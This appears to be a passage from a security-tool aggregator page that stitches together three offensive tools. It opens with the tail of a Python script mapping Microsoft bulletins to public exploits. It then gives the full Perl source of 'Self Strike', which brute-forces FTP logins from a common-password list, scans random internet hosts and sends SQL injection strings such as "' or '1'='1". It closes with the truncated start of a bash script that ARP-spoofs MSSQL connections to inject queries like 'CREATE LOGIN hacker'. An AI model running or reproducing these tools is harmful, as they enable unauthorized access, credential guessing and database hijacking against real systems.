                             # http://www.exploit-db.com/exploits/35308/, Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
                             # http://www.exploit-db.com/exploits/35229/, Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
                             # http://www.exploit-db.com/exploits/35230/, Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
                             # http://www.exploit-db.com/exploits/35235/, MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
                             # http://www.exploit-db.com/exploits/35236/, MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
    ['MS14-062', ALERT.MSF], # CVE 2014-4971
                             # http://www.exploit-db.com/exploits/34112/, Microsoft Windows XP SP3 MQAC.sys - Arbitrary Write Privilege Escalation, PoC
                             # http://www.exploit-db.com/exploits/34982/, Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation
    ['MS14-060', ALERT.MSF], # CVE 2014-4114
                             # http://www.exploit-db.com/exploits/35055/, Windows OLE - Remote Code Execution "Sandworm" Exploit (MS14-060), PoC
                             # http://www.exploit-db.com/exploits/35020/, MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
    ['MS14-058', ALERT.MSF], # CVE 2014-4113
                             # http://www.exploit-db.com/exploits/35101/, Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
    ['MS14-035', ALERT.EXP],
    ['MS14-029', ALERT.EXP], #http://www.exploit-db.com/exploits/34458/
    ['MS14-026', ALERT.EXP], # CVE 2014-1806
                             # http://www.exploit-db.com/exploits/35280/, .NET Remoting Services Remote Command Execution, PoC,
    ['MS14-017', ALERT.MSF],
    ['MS14-012', ALERT.MSF],
    ['MS14-009', ALERT.MSF],
    ['MS14-002', ALERT.EXP],
    ['MS13-101', ALERT.EXP],
    ['MS13-097', ALERT.MSF],
    ['MS13-096', ALERT.MSF],
    ['MS13-090', ALERT.MSF],
    ['MS13-080', ALERT.MSF],
    ['MS13-071', ALERT.MSF],
    ['MS13-069', ALERT.MSF],
    ['MS13-067', ALERT.EXP],
    ['MS13-059', ALERT.MSF],
    ['MS13-055', ALERT.MSF],
    ['MS13-053', ALERT.MSF],
    ['MS13-009', ALERT.MSF],
    ['MS13-005', ALERT.MSF],
    ['MS12-037', ALERT.EXP], # CVE 2012-1876
                             # http://www.exploit-db.com/exploits/35273/, Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
                             # http://www.exploit-db.com/exploits/34815/, Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
    ['MS12-022', ALERT.MSF],
    ['MS11-080', ALERT.MSF],
    ['MS11-011', ALERT.EXP],
    ['MS10-073', ALERT.MSF],
    ['MS10-061', ALERT.MSF],
    ['MS10-059', ALERT.EXP],
    ['MS10-047', ALERT.EXP],
    ['MS10-015', ALERT.MSF],
    ['MS10-002', ALERT.MSF],
    ['MS09-072', ALERT.MSF],
    ['MS09-067', ALERT.MSF],
    ['MS09-065', ALERT.MSF],
    ['MS09-053', ALERT.MSF],
    ['MS09-050', ALERT.MSF],
    ['MS09-050', ALERT.MSF],
    ['MS09-043', ALERT.MSF],
    ['MS09-020', ALERT.MSF],
    ['MS09-004', ALERT.MSF],
    ['MS09-002', ALERT.MSF],
    ['MS09-001', ALERT.MSF],
    ['MS08-078', ALERT.MSF],
    ['MS08-070', ALERT.MSF],
    ['MS08-067', ALERT.MSF],
    ['MS08-067', ALERT.MSF],
    ['MS08-053', ALERT.MSF],
    ['MS08-041', ALERT.MSF],
    ['MS08-025', ALERT.EXP],
    ['MS07-065', ALERT.MSF],
    ['MS07-065', ALERT.MSF],
    ['MS07-064', ALERT.MSF],
    ['MS07-029', ALERT.MSF],
    ['MS07-029', ALERT.MSF],
    ['MS07-017', ALERT.MSF],
    ['MS06-071', ALERT.MSF],
    ['MS06-070', ALERT.MSF],
    ['MS06-070', ALERT.MSF],
    ['MS06-067', ALERT.MSF],
    ['MS06-066', ALERT.MSF],
    ['MS06-066', ALERT.MSF],
    ['MS06-063', ALERT.MSF],
    ['MS06-057', ALERT.MSF],
    ['MS06-055', ALERT.MSF],
    ['MS06-049', ALERT.EXP],
    ['MS06-040', ALERT.MSF],
    ['MS06-040', ALERT.MSF],
    ['MS06-035', ALERT.MSF],
    ['MS06-025', ALERT.MSF],
    ['MS06-025', ALERT.MSF],
    ['MS06-019', ALERT.MSF],
    ['MS06-013', ALERT.MSF],
    ['MS06-001', ALERT.MSF],
    ['MS05-054', ALERT.MSF],
    ['MS05-047', ALERT.MSF],
    ['MS05-039', ALERT.MSF],
    ['MS05-039', ALERT.MSF],
    ['MS05-030', ALERT.MSF],
    ['MS05-017', ALERT.MSF],
    ['MS05-017', ALERT.MSF],
    ['MS04-045', ALERT.MSF],
    ['MS04-031', ALERT.MSF],
    ['MS04-031', ALERT.MSF],
    ['MS04-011', ALERT.MSF],
    ['MS04-011', ALERT.MSF],
    ['MS04-007', ALERT.MSF],
    ['MS04-007', ALERT.MSF],
    ['MS03-051', ALERT.MSF],
    ['MS03-049', ALERT.MSF],
    ['MS03-049', ALERT.MSF],
    ['MS03-046', ALERT.MSF],
    ['MS03-026', ALERT.MSF],
    ['MS03-026', ALERT.MSF],
    ['MS03-022', ALERT.MSF],
    ['MS03-020', ALERT.MSF],
    ['MS03-007', ALERT.MSF],
    ['MS02-065', ALERT.MSF],
    ['MS02-063', ALERT.MSF],
    ['MS02-056', ALERT.MSF],
    ['MS02-039', ALERT.MSF],
    ['MS02-018', ALERT.MSF],
    ['MS01-033', ALERT.MSF],
    ['MS01-026', ALERT.MSF],
    ['MS01-023', ALERT.MSF],
    ['MS00-094', ALERT.MSF]
  ]

  # return the count of exploits  
  if msid == 0: return len(exploits)

  for exploit in exploits:
    if msid == exploit[0]:
      return exploit[1]
  
  return False

# the update function
def update():

  # compute the filenames to be used
  filenames = '%s-mssb' % datetime.datetime.now().strftime('%Y-%m-%d')
  xlsFile = '%s.%s' % (filenames, 'xls')
  csvFile = '%s.%s' % (filenames, 'csv')

  # url request opener with user-agent
  opener = urllib2.build_opener()
  opener.addheaders = [('User-agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36')]

  # grab the new data from ms and scrape the site
  #try:
  #  response = opener.open(MSSB_URL)
  #except urllib2.URLError, e:
  #  ALERT("error getting url %s" % MSSB_URL, ALERT.BAD)
  #  exit(1)
  #
  #ALERT("successfully requested base url")
  
  # 2016-02-10, ms changed link to http://download.microsoft.com/download/6/7/3/673E4349-1CA5-40B9-8879-095C72D5B49D/BulletinSearch.xlsx
  #
  # now parse the data, ensure we have an mssb link
  # <td>BulletinSearch_20131111_151603.xlsx <span class="green-sniff-recommend">(recommended)</span></td>
  #html = response.read()
  #m = re.findall('url=(.*BulletinSearch.*.xls[x]*)', html)
  # m = re.findall('href="(.*BulletinSearch.*.xlsx)"', html) # old bulletin request url, 20140502

  # ensure we get the bulletin search
  #if m and m[0]:
  bulletinUrl = BULLETIN_URL
  #  ALERT("scraped ms download url")
    # if the file was xlsx, add an x to the extension
  #  if "xlsx" in bulletinUrl: xlsFile += "x"
  #else:
  #  ALERT("error finding the ms download url from previous response", ALERT.BAD)
  #  exit(1)
    
  # now download the mssb file, with a random sleep
  try:    
    #sleep(randint(1,3))
    response = opener.open(bulletinUrl)
  except urllib2.URLError, e:
    ALERT("error getting ms sb url %s" % bulletinUrl, ALERT.BAD)
    exit(1)
    
  bulletinData = response.read()
  
  ALERT("writing to file %s" % xlsFile, ALERT.GOOD)
  f = open(xlsFile, 'wb')
  f.write(bulletinData)
  f.close

# modified ALERT class for exploit and metasploit level logging
class ALERT(object):
  
  def __init__(self, message, level=0, ansi=True):

    # default to ansi alerting, if it's detected as windows platform then disable
    if platform.system() is "Windows": ansi = False

    good = '[+]'
    bad = '[-]'
    normal = '[*]'
  
    msf = '[M]'
    exploit = '[E]'
    
    if ansi == True:
      if level == ALERT.GOOD: print("%s%s%s" % ('\033[1;32m',good,"\033[0;0m")),
      elif level == ALERT.BAD: print("%s%s%s" % ('\033[1;31m',bad,"\033[0;0m")),
      elif level == ALERT.MSF: print("%s%s%s" % ('\033[1;32m',msf,"\033[0;0m")),
      elif level == ALERT.EXP: print("%s%s%s" % ('\033[1;32m',exploit,"\033[0;0m")),
      else: print("%s%s%s" % ('\033[1;34m',normal,"\033[0;0m")),
      
    else:
      if level == ALERT.GOOD: print('%s' % good),
      elif level == ALERT.BAD: print('%s' % bad),
      elif level == ALERT.MSF: print('%s' % msf),
      elif level == ALERT.EXP: print('%s' % exploit),
      else: print('%s' % normal),
      
    print message
  
  @staticmethod
  @property
  def BAD(self): return -1
    
  @staticmethod
  @property
  def NORMAL(self): return 0
    
  @staticmethod
  @property
  def GOOD(self): return 1
    
  @staticmethod
  @property
  def MSF(self): return 2
    
  @staticmethod
  @property
  def EXP(self): return 3

# this helper function will merge a list of lists into one sorted set
def merge_list(li):
  s = []
  if li:
    for l in li:
        if isinstance(l, list): s = s + l
        else: s.append(l)
  return s

if __name__ == '__main__':
  main()

Download zipball  | or git clone
Read More in here : http://blog.gdssecurity.com/ our post BEFORE

Self Strike is a vulnerability scanner, brute force and more.

$
0
0

Self Strike is a vulnerability scanner, ips, brute force and more.
Feature:
* Scanner SQL Injection
* Scanner Port
* Ip Info
* Brute Force FTP
* Brute Force SSH
* Brute Force Request
* Search IP
* FootPrint URLselfstrike

Usage:
git clone https://github.com/Deffy0h/SelfStrike && cd SelfStrike
perl SelfStrike.pl

Script:

#!/usr/bin/perl

use Getopt::Long;
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
use Net::FTP;
use Net::Ping;
#use Net::SSH::Perl;

my $modeuser="
\n\n\n
use:
SelfStrike.pl
 -t|type SqlScanner -u|url 'site' -p|port 80 -timeout 5 -re|request 'q=1&s=1' -m|method 'GET|POST'    *Scanner Sql Injection Vulnerability*
 
	--- -p|port '80' Default
	--- -timeout '5' Default
 \n
 -t|type PortScanner -i|ip 'ip' -p|port 80
 -t|type PortScanner -i|ip 'ip' -p|port 80 -timeout 5 -w|proto 'tcp'    *Scanner Port*
 -t|type PortScanner -i|ip 'ip|wordlist' -p|port '0|00|000' -timeout 5 -w|proto 'tcp'     *scans all standard doors*
 
	--- -p|port 00  *Scans All Standard Ports: 20,21,80,443...*
	--- -p|port 000 *Scans All Ports: 1-65500*
	--- -p|port 0000 *Port Random*
	--- -w|proto 'TCP' Default
	--- -p|port  '80'  Default
	--- -i|ip    '00' *Random IP*
 \n
 -t|type InfoIp -i|ip 'ip'  *Get Info IP*
 \n
 -t|type BruteForce-ftp -user 'admin' -pass 'wordlist.txt' -u 'site' *Brute Force in FTP*
	--- -pass 00 *password defaults 2012|2013*
	--- -pass 000 *password Random 12bits|16bits*
 \n
 -t|type BruteForce-ssh -user 'admin' -pass 'wordlist.txt' -u 'site' *Brute Force in SSH*
 \n
 -t|type SelfStrike-CSRF -re|request 'q=1&s=1' -m|method 'GET|POST' -n|number '25' *Cross Site Request Fogery*
	--- -qq 'name','pass' --qqr 'admin' '123'
 \n
 -t|type SelfStrike-Ip -i|ip '192.168.0.c' -p|port '80' -timeout 5 -s|save 'output.txt'  *Search IP*
	--- -ip 00 *random IPs*
 \n
 -t|type SelfStrike-Url -u|url 'deffy0h.tk' *Get Info WebSite*
 \n\n\n
";

my $developer="
\t\tDeveloper : Deffy0h/Skype:Deffy0h
";

my @port_	 =("20","21","22","80","23","25","53","443","465","1080","1194","1433","25565");
my @port_type=("FTP","FTP","SSH","HTTP","TELNET","SMTP","DOMAIN","HTTPS","SMTP","SOCKS","OPEN_VPN","SQL","MINECRAFT");

my @ftp 	=("admin","root","","anonymous","-anonymous@","administrator","123456","12345","12345678","qwerty","password","1234567890","1234","baseball","dragon","football","1234567","monkey","letmein","abc123","111111","mustang","access","shadow","master","michael","superman","696969","123123","batman","trustno1","iloveyou","adobe123","azerty","Admin","letmein","photoshop","shadow","sunshine","password1");

print <<EPeq;
		
.d88888b           dP .8888b .d88888b    dP            oo dP                
88.    "'          88 88   " 88.    "'   88               88                
`Y88888b. .d8888b. 88 88aaa  `Y88888b. d8888P 88d888b. dP 88  .dP  .d8888b. 
      `8b 88ooood8 88 88           `8b   88   88'  `88 88 88888"   88ooood8 
d8'   .8P 88.  ... 88 88     d8'   .8P   88   88       88 88  `8b. 88.  ... 
 Y88888P  `88888P' dP dP      Y88888P    dP   dP       dP dP   `YP `88888P' 
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
		 .___        ,__ ,__          ___/_     
		 /   `   ___ /  `/  `,    . .'  /\/     
		 |    |.'   `|__ |__ |    ` |  / ||,---.
		 |    ||----'|   |   |    | |,'  ||'   `
		 /---/ `.___,|   |    `---|./`---'/    |
					 /   /    \___/             
		
		
	-====================================================-
	-                 SelfStrike
	*-		Create By Deffy0h		    -0
	*-----------------------------------------------------
		
	\t\tSOMOS BRASILEIROS
	\tDEFFY0H Todos os direitos resevados
		
    $modeuser
	
	$developer
		
EPeq

my $url="";
my $ip="";
my $port="";
my $timeout="";
my $type="";
my $r="?";
my $method="GET";
my $REQ=$r."s='1&p='1&q='1";
my $OK_HTTP=200;
my $proto="";
my $user="";
my $pass="";
my $save="";
my $number=0;
my @pp="";
my @qqr="";


GetOptions(

	"u|url=s"=>\$url,
	"i|ip=s"=>\$ip,
	"t|type=s"=>\$type,
	"p|port=s"=>\$port,
	"timeout=i"=>\$timeout,
	"re|request=s"=>\$REQ,
	"m|method=s"=>\$method,
	"w|proto=s"=>\$proto,
	"user=s"=>\$user,
	"pass=s"=>\$pass,
	"s|save=s"=>\$save,
	"n|number=i"=>\$number,
	"qq=s@"=>\@qq,
	"qqr=s@"=>\@qqr

);

unless($type){
print $modeuser;
exit;
}

chomp $type;

if($type eq "SqlScanner" 		|| $type eq "sqlscanner"){
&SqlScanner
}
if($type eq "PortScanner" 		|| $type eq "portscanner"){
&PortScanner
}
if($type eq "InfoIp" 			|| $type eq "infoip"){
&info
}
if($type eq "BruteForce-ftp" 	|| $type eq "bruteforce-ftp"){
&BrutalForce_ftp
}
if($type eq "SelfStrike-Ip" 	|| $type eq "selfstrike-ip"){
&SelfStrike_Ip
}
if($type eq "selfstrike-Url" 	|| $type eq "selfstrike-url"){
&Selfstrike_Url
}
if($type eq "BruteForce-ssh"    || $type eq "bruteforce-ssh"){
&BruteForce_ssh
}
if($type eq "SelfStrike-CSRF"    || $type eq "selfstrike-csrf"){
&SelfStrike_CSRF
}

#4Er45
sub SelfStrike_CSRF(){

print "\n\n-=======================================================-\n";
print "\t\t\tSelfStrike-CSRF\n";
print "-=======================================================-\n\n";

unless($url){
print "\ntyping a DNS|URL -u 'site'\n";
print $modeuser;
exit;
}
unless($number){
$number=25;
}
unless($method){
$method="GET";
}


if($url!~m/http:/){
$url="http://$url";
}
if($REQ!~m/[?]/){
$REQ="?$REQ";
}
if($method eq "GET"){
#@2GET
my $c=0;
while($c<$number){
print "[+] connecting to GET:$url/$REQ:80 counter($c)\n";
$ua = LWP::UserAgent->new;
if($re=HTTP::Request->new(GET=>$url."/".$REQ)){
$response=$ua->request($re);
if($response->status_line==$OK_HTTP){
print "[+] SUCCESS\n\n";
}else{
print "[-] FAIL\n\n";
}
}
#
$c++;
}
}else{
#@2POST
my $c=0;
while($c<$number){
foreach my $req(@qq){
#print $req;
}
print "[+] connecting to POST:$url:80 counter($c)\n";
$ua = LWP::UserAgent->new;
if($re=HTTP::Request->new(POST=>$url,[password=>"' or '1'='1"])){
$response=$ua->request($re);
if($response->status_line==$OK_HTTP){
print "[+] SUCCESS\n\n";
}else{
print "[-] FAIL\n\n";
}
}
#
$c++;
}
}
}

#445
sub BruteForce_ssh(){
print "\n\nnext version\n\n";
}

#@2abri
sub Selfstrike_Url(){
print "-=======================================================-\n";

unless($url){
print "[-] URL";
exit;
}

my $host = inet_ntoa(inet_aton($url));


unless($url){
print "\ntyping a DNS|URL -u 'site'\n";
print $modeuser;
exit;
}else{

print "[+] IP=> $host\n";
print "[+] PORT=> 80\n";

}

my $max_ping=15;
my $pings=1;
my $rq=0;

print "-=======================================================-\n\n";

while($pings<$max_ping){
$p=Net::Ping->new("tcp");
print "[+] send ping $pings to $host:80 \n";
if($p->ping($host)){
$rq++;
}
$pings++;
$p->close();#close;
}

print "[+] $rq|$pings response\n";

if($rq>=($pings-5)){
print "\n[+] FireWall=> false\n";
}else{
print "\n[+] FireWall=> true\n";
}

print "\n\n";

my $yurl="http://ip-api.com/json/".$host;

$ua = LWP::UserAgent->new;
if($re=HTTP::Request->new(GET=>$yurl)){
$response=$ua->request($re);
if($response->status_line==$OK_HTTP){
print "[+] HTTP:REQUEST, HTTP/1.1, STATUS CODE=".$response->status_line."\n";
print "[+] decode HTML\n\n";
$html=$response->decoded_content;
print "INFO IP:\n";
print $html."\n\n";
}
}

print "\n[+] HTML Resolver:\n";

if($url!~m/^http:/){
$url="http://".$url;
}

my $htmj="";
$uap = LWP::UserAgent->new;
if($rep=HTTP::Request->new(GET=>$url)){
$aqp=$uap->request($rep);
if($aqp->status_line==$OK_HTTP){
$htmj=$aqp->decoded_content;
}
}

if($htmj ne ""){
print "[+] FIND TAGS:\n\n\n";

print "-------------------------------------------------\n";
my($title)=$htmj=~m{<title>(.*?)</title>}si;
if($title ne ""){
print "(TITLE)=>\t $title \n";
}else{
print "(TITLE)=> no find";
}

print "\n";
print "-------------------------------------------------\n";

my @src=($htmj=~m/src="(.*?)"|src='(.*?)'/g);

print "(SRC)=>\n";

foreach my $ai(@src){
print "\t$ai\n";
}

print "-------------------------------------------------\n";

my @href=($htmj=~m/href="(.*?)"|href='(.*?)'/g);

print "(HREF)=>\n";

foreach my $ai(@href){
print "\t$ai\n";
}

print "-------------------------------------------------\n";

my @action=($htmj=~m/action="(.*?)"|action='(.*?)'/g);

print "(ACTION)=>\n";

foreach my $ai(@action){
print "\t$ai\n";
}

print "-------------------------------------------------\n";

my @OnClick=($htmj=~m/onClick='(.*?)'|onClick="(.*?)"/g);

print "(OnClick)=>\n";

foreach my $ai(@OnClick){
print "\t$ai\n";
}

print "-------------------------------------------------\n";

my @OnSubmit=($htmj=~m/onSubmit='(.*?)'|onSubmit="(.*?)"/g);

print "(OnSubmit)=>\n";

foreach my $ai(@OnSubmit){
print "\t$ai\n";
}


print "\n\n";
print "-========================================================-";
print "\t\nPort Scanner\n";
print "-========================================================-";
print "\n\n";


}else{
print "[-] erro resolver html\n";
}

my $i=0;
my $max=13;
while($i<$max){

	print "\n\n";
	print $host."\n";
	print "port: ".@port_[$i]." type: ".@port_type[$i]."\n";
	print "[+] connecting...\n";

if($s=IO::Socket::INET->new(

	PeerAddr => $host,
	PeerPort => @port_[$i],
	Proto    => "tcp",
	timeout  => 5

)){
	print "[+] open\n";
}else{
	print "[-] close\n";
}
$i++;
}

}


#@25d
#44$

sub SelfStrike_Ip(){

my $cap=0;

print "-=======================================================-\n";

unless($ip){
print "\n\n[-] typing a -i|ip 'IP'\n\n";
exit;
}else{
print "[+] IP => $ip\n";
}

unless($port){
$port=80;
print "[+] Port => 80\n";
}else{
print "[+] Port => $port\n";
}

unless($timeout){
$timeout=5;
print "[+] Timeout => 5\n";
}else{
print "[+] Timeout => $timeout\n";
}
unless($proto){
$proto="tcp";
print "[+] Proto => TCP\n";
}else{
print "[+] Proto => $proto\n";
}
unless($save){
print "[-] file not set";
exit;
}else{
print "[+] File => $save\n";
}

open($a,"+<",$save) 
or die("impossible to open file");


if($ip!~m/c/ && $ip ne "00"){
print "[-] $ip not allowed\n";
print "use: -i|ip 192.168.0.c or  -i|ip 00";
exit;
}

print "\n-=======================================================-\n";

print "\n\n";

if($ip=~m/c/){

while($cap<255){

my $time=localtime();
my $tmp_ip=$ip=~s/c/$cap/r;

print "[+] checking\t";
print "$tmp_ip:$port\n";

if($s=IO::Socket::INET->new(
	PeerAddr=>$tmp_ip,
	PeerPort=>$port,
	Proto=>	  $proto,
	timeout=> $timeout
)){
	
	my @lines=<$a>;

	$myText=@lines[scalar(@lines)]."\n\n -============================================================-\n DATE: $time \n OPEN: $tmp_ip:$port \n -============================================================-\n";
	
	print "[+] Open\n";
	print "[+] Save To File $save => \n\t $myText \n\n";
	
	$a->print($myText);
	$a->close();
	
}else{
	print "[-] Close\n";
}

print "\n";

#$12c
$cap++;

if($cap>255){
print "Quit SelfStrike-IP*";
exit;
}
}
}

if($ip eq "00"){
while(1){

my $time=localtime();
my $tmp_ip=int(rand(255)).".".int(rand(255)).".".int(rand(255)).".".int(rand(255));

print "[+] checking\t";
print "$tmp_ip:$port\n";

if($s=IO::Socket::INET->new(
	PeerAddr=>$tmp_ip,
	PeerPort=>$port,
	Proto=>	  $proto,
	timeout=> $timeout
)){
	
	my @lines=<$a>;

	$myText=@lines[scalar(@lines)]."\n\n -============================================================-\n DATE: $time \n OPEN: $tmp_ip:$port \n -============================================================-\n";
	
	print "[+] Open\n";
	print "[+] Save To File $save => \n\t $myText \n\n";
	
	$a->print($myText);
	$a->close();
	
}else{
	print "[-] Close\n";
}

print "\n";

}
}

}

#?d0
#-sx01

sub BrutalForce_ftp(){
print "-=======================================================-\n";

unless($url){
print "\ntyping a DNS|URL -u 'site'\n";
print $modeuser;
exit;
}

my $yurFTP="ftp://".$url;

print "[+] checking $url\n";

if($h=HTTP::Request->new(GET=>$url)){
print "[+] success\n";
}else{
print "[-] fail\n";
}
print "-=======================================================-\n";

print "\n[+] connecting to server FTP\n\n";


if($pass eq "00"){
print "\n\n\t\t*password defaults 2012|2013*\n\n";
print "-=======================================================-\n";
}

if($pass eq "000"){
print "\n\n\t\t*password Random 12bits|16bits*\n\n";
print "-=======================================================-\n\n";
}

my $c=0;

while(1){

$ftp = Net::FTP->new($url) 
or die("[-] erro connection to FTP\n");

my $opa="";

if($pass ne "00"){
open(a,"<",$pass) or die("[-] file '$pass' can't be opened\n");
my @pass=<a>;

chomp($opa=$pass[$c]);
if(scalar(@pass)<$c){
print "\n Quit Brute Force FTP* \n";
exit;
}
}

if($pass eq "00"){
$opa=@ftp[$c];
if((scalar(@ftp))<$c){
print "\n Quit Brute Force FTP* \n";
exit;
}
}

if($pass eq "000"){
my @abc=("a","b","c","d","e","f","g","h","i","j","l","m","n","o","p","q","r","s","t","u","v","y","x","z");
$opa=@abc[(int(rand(23)))].@abc[(int(rand(23)))].@abc[(int(rand(23)))].@abc[(int(rand(23)))].@abc[(int(rand(23)))].@abc[(int(rand(23)))].@abc[(int(rand(23)))].@abc[(int(rand(23)))].(int(rand(99))).(int(rand(99))).(int(rand(99))).(int(rand(99)));
}

print "[+] LOGIN $yurFTP with USER=>$user AND PASSWORD=>$opa\n";

if($ftp->login($user,$opa)){
print "\n\n[+] SUCCESS\n";
print "-=====================================-\n";
print "URL=> $yurFTP\n";
print "USER=> $user\n";
print "PASSWORD=> $pass\n";
print "-=====================================-\n\n";
exit;
}else{
$ftp->close();
print "[-] FAIL\n"
}
$c++;
}

}

sub info(){
print "-=======================================================-\n";

unless($ip){
print "\n\n[-] typing a -i|ip 'IP'\n\n";
exit;
}else{
print "[+] IP => $ip\n";
}

my $yurl="http://ip-api.com/json/".$ip;

$ua = LWP::UserAgent->new;
if($re=HTTP::Request->new(GET=>$yurl)){
$response=$ua->request($re);
if($response->status_line==$OK_HTTP){
print "[+] HTTP:REQUEST, HTTP/1.1, STATUS CODE=".$response->status_line."\n";
print "[+] decode HTML\n";
$html=$response->decoded_content;
print "\n".$html."\n";
}	
	
print "\n-=======================================================-\n";
}
}

sub PortScanner(){

print "-=======================================================-\n";

unless($ip){
print "\n\n[-] typing a -i|ip 'IP'\n\n";
print $modeuser;
exit;
}else{
print "[+] IP => $ip\n";
}
unless($port){
$port=80;
print "[+] Port => 80\n";
}else{
print "[+] Port => $port\n";
}
unless($timeout){
$timeout=5;
print "[+] Timeout => 5\n";
}else{
print "[+] Timeout => $timeout\n";
}
unless($proto){
$proto="tcp";
print "[+] Proto => TCP\n";
}else{
print "[+] Proto => $proto\n";
}

chomp($proto);
if($proto ne "tcp" && $proto ne "udp"){
print "[-] Proto Is Not Valid (TCP|UDP)";
exit;
}

print "-=======================================================-\n";

chomp($port);
if($port ne "00" && $port ne "000" && $port ne "0000"){

if($ip eq "00"){
	my $ip1=int(rand(255));
	my $ip2=int(rand(255));
	my $ip3=int(rand(255));
	my $ip4=int(rand(255));

	$ip=$ip1.".".$ip2.".".$ip3.".".$ip4;

}

print "[+] Checking $ip:$port - $proto\n";

if($s=IO::Socket::INET->new(
	PeerAddr=>$ip,
	PeerPort=>$port,
	Proto=>	  $proto,
	timeout=> $timeout
)){
	print "[+] Open\n";
}else{
	print "[-] Close\n";
}
}

if($port eq "00"){

print "\n\n\t*Scans All Standard Ports: 20,21,80,443...*\n\n";
print "-=======================================================-\n";

my $i=0;
my $max=13;
while($i<$max){


if($ip eq "00"){
	my $ip1=int(rand(255));
	my $ip2=int(rand(255));
	my $ip3=int(rand(255));
	my $ip4=int(rand(255));

	$ip=$ip1.".".$ip2.".".$ip3.".".$ip4;

}

	print "\n\n";
	print $ip."\n";
	print "port: ".@port_[$i]." type: ".@port_type[$i]."\n";
	print "[+] connecting...\n";

if($s=IO::Socket::INET->new(

	PeerAddr => $ip,
	PeerPort => @port_[$i],
	Proto    => $proto,
	timeout  => $timeout

)){
	print "[+] open\n";
}else{
	print "[-] close\n";
}
$i++;
}
}

if($port eq "000"){

print "\n\n\t*Scans All Ports: 1-65500*\n\n";
print "-=======================================================-\n";

my $c_port=1;
my $max_port=65500;

print "\n\n";

if($ip eq "00"){
	my $ip1=int(rand(255));
	my $ip2=int(rand(255));
	my $ip3=int(rand(255));
	my $ip4=int(rand(255));

	$ip=$ip1.".".$ip2.".".$ip3.".".$ip4;

}

while($c_port<$max_port){

print "$ip:$c_port\n";
print "[+] connecting...\n";

if($s=IO::Socket::INET->new(
	
	PeerAddr => $ip,
	PeerPort => $c_port,
	Proto    => $proto,
	timeout  => $timeout

)){
	print "[+] open\n";
}else{
	print "[-] close\n";
}

print "\n";
$c_port++;
}
}

}

sub SqlScanner(){
unless($url){
print "\ntyping a DNS|URL -u 'site'\n";
print $modeuser;
exit;
}

if($url!~m/http:/){
$url="http://$url";
}


$port=80;
$timeout=5;

my ($html,$qInjection);
$qInjection="You have an error in your SQL syntax";

print "\n[+] checking url...\n";

if($s=IO::Socket::INET->new(
	PeerAddr=>$url,
	PeerPort=>$port,
	Proto=>	  "tcp",
	timeout=> $timeout
)){
print "[+] OK\n";
}else{
print "[-] not allowed send Socket to $url:$port \n";
}


print "[+] connecting with $url:$port\n";

$ua = LWP::UserAgent->new;

if($REQ!~m/[?]/){
$REQ="?$REQ";
}

my $temp_url="http://www.".$url.":$port/".$REQ;

if($method=="GET" || $method=="get"){
print "[+] HTTP:REQUEST, GET $temp_url ProtocolVersion:HTTP/1.1\n";

if($port==80 || $port==8080){
if($re=HTTP::Request->new(GET=>$temp_url)){
$response=$ua->request($re);
if($response->status_line==$OK_HTTP){
print "[+] HTTP:REQUEST, HTTP/1.1, STATUS CODE=".$response->status_line."\n";
print "[+] decode HTML\n";
$html=$response->decoded_content;
chomp $html;
if($html=~$qInjection){
print "\n\n [+] $temp_url <*p>SQL INJECTION<*p> Vulnerability* \n\n";
}else{
print "\n[+] was not found <*p>SQL INJECTION<*p> to $temp_url";
exit;
}
}else{
print "[-] ERRO: ".$response->status_line;
exit;
}
}else{
print "[-] erro conection";
exit;
}
}else{
print "[-] not allowed connection HTTPS:443";
exit;
}

}else{
print "[-]"; exit;
}
}


__END__

Source:

SQLinject.sh – Script to automate the process of hijacking an MSSQL database connection.

$
0
0

This script is designed to automate the process of hijacking an MSSQL database connection. This script can be used to perform a MITM attack between two IP addresses using ettercap and ARP spoofing. You also submit an original SQL query and a new SQL query. The script will create, compile, and load an ettercap filter to replace the original SQL string with your new one. This should work on any MSSQL connection that is not encrypted.

sqlinject.sh

sqlinject.sh

SQLinject.sh Script:

#!/bin/bash
#
####################################################################
#
# Written by Rick Osgood
#
# This script is designed to automate the process of hijacking an
# MSSQL database connection. This script can be used to perform a
# MITM attack between two IP addresses using ettercap and ARP
# spoofing. You also submit an original SQL query and a new SQL
# query. The script will create, compile, and load an ettercap
# filter to replace the original SQL string with your new one.
# This should work on any MSSQL conncetion that is not encrypted.
#
####################################################################
 
args=("$@") #array to store command line arguments
 
# Set variable defalts
SqlPort=1433
ServerIP="NULL"
ClientIP="NULL"
FileName="NULL"
 
# Help function
print_help(){
        echo "Usage: ./SQLInject.sh -o [original SQL query] -i [new SQL query] -s [MSSQL Server IP]
-c [SQL Client IP]"
        echo ""
        echo "Example: ./SQLInject.sh -o \"SELECT * from Products WHERE ProductID=1;\" -i \"CREATE L
OGIN hacker WITH PASSWORD=\"password01\";\" -s 10.0.1.20 -c 10.0.1.100"
        echo ""
        echo "This script creates an ettercap filter that will identify a SQL string"
        echo "and replace it with a new string. The script will then compile the filter"
        echo "and run ettercap with the filter loaded. Ettercap will perform an ARP"
        echo "spoofing attack against the specified IP addresses automatically. All you"
        echo "have to do is sit back and wait for the original query to be submitted."
        echo ""
        echo " --help"
        echo "     Show this message."
        echo " -o"
        echo "     Specify the original SQL string to be replaced."
        echo " -i"
        echo "     Specify the new SQL string to be injected. This string must not"
        echo "     longer than the original query string."
        echo " -s"
        echo "     Specify the MSSQL server IP for ARP poison attack. May also use gateway IP"
        echo " -c"
        echo "     Specify the SQL cient IP for ARP poison attack."
        echo " -f"
        echo "     Specify the output filename for the ettercap filter."
        echo " -p"
